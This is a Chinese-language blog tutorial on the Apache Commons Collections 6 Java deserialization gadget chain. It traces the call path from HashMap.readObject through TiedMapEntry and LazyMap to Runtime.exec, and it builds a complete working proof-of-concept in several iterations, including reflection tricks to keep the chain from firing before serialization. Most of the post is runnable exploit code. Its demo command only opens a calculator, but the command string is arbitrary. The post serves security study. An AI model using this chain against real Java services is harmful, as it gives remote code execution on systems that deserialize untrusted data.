[Java反序列化]—CommonsCollections6

372 阅读4分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第11天,点击查看活动详情

前言

接上篇,CC1的JDK版本需要低于8u71AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6

分析

cc1的LazyMap链:readObject()->invoker()->get()->transform(),而在8u71之后,readObject发生了变化,所以不能再用之前的方式调用get方法,这时又找到了另外一条链来绕过该版本的限制

 Gadget chain:
 java.io.ObjectInputStream.readObject()
    java.util.HashMap.readObject()
        java.util.HashMap.hash()
​
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
​
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
​
org.apache.commons.collections.functors.ChainedTransformer.transform()
​
org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
​

通过TiedMapEntry.getValue()调用get(),其中key的值,可以通过TiedMapEntry类的构造方法获取,我们要调用的是LazyMap的get(),所以就需要通过构造器来构造map=Lazymap

image-20220525125549963

先构造一下链,前边跟8u71前是一样的,为了满足map=LazyMap,需要实例化一个TiedMapEntry,由于我们用的是map所以这里的map传的是outerMap也就相当于传入LazyMap,这样经过构造方法后,map.get就变为了LazyMap.get,而key用不到所以随便传个就行

package CommonsCollections6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.util.HashMap;
import java.util.Map;
​
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
    }
}

之后再看哪里调用了getValue(),于是在本类中找到了hashCode()方法

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

接着找何处调用了hashCode(),审过urldns链应该就很清楚了,在HashMap类中的hash方法调用了key.hashCode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

接着就是何处调用了hash(),HashMap类中自己重写了readObject()方法,在readObject中调用了hash

return putVal(hash(key), key, value, false, true);

而我们想调用TiedMapEntry.hashCode,所以我们要给key赋值TiedMapEntry,value的话就随意了,所以就需要通过put传值

hashMap.put(tiedMapEntry,"Sentiemnt");

至此这条链就结束了,顺序也跟ysoserial的一样

所以poc为

package CommonsCollections6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.util.HashMap;
import java.util.Map;
​
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
    }
}

问题一

在运行后发现,还没有进行序列化反序列化 就弹出了计算器,这是因为我们在put修改值得同时,其实就已经调用了hash方法接着调用hashCode最终执行了命令

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

所以为了不让他执行,可以将他后边的transformer改成其他无法正产调用的内容,经过put后在改回来即:

Map outerMap == LazyMap.decorate(map, chainedTransformer);

改为

Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));

之后就是在调用put后改回来,我们调用这条语句主要是,修改factroy的值

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

而factory是protect类型的,所以就要通过反射爆破来修改

  protected final Transformer factory;

当前poc

package CommonsCollections6;
​
import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
​
        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);
​
​
        serialize(hashMap);
        unserialize("1.txt");
​
​
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }
​
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

问题二

运行后仍无回显,回去看了一遍,这里key已经有值了,所以绕过了if从而绕过了transform()

image-20220525161108185

所以如果想进入if,就需要把if的key值去掉

outerMap.remove("Sentiment1");

最终poc

package CommonsCollections6;
​
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
​
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
        outerMap.remove("Sentiment1");
​
        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);
​
​
        serialize(hashMap);
        unserialize("1.txt");
​
​
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }
​
​
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}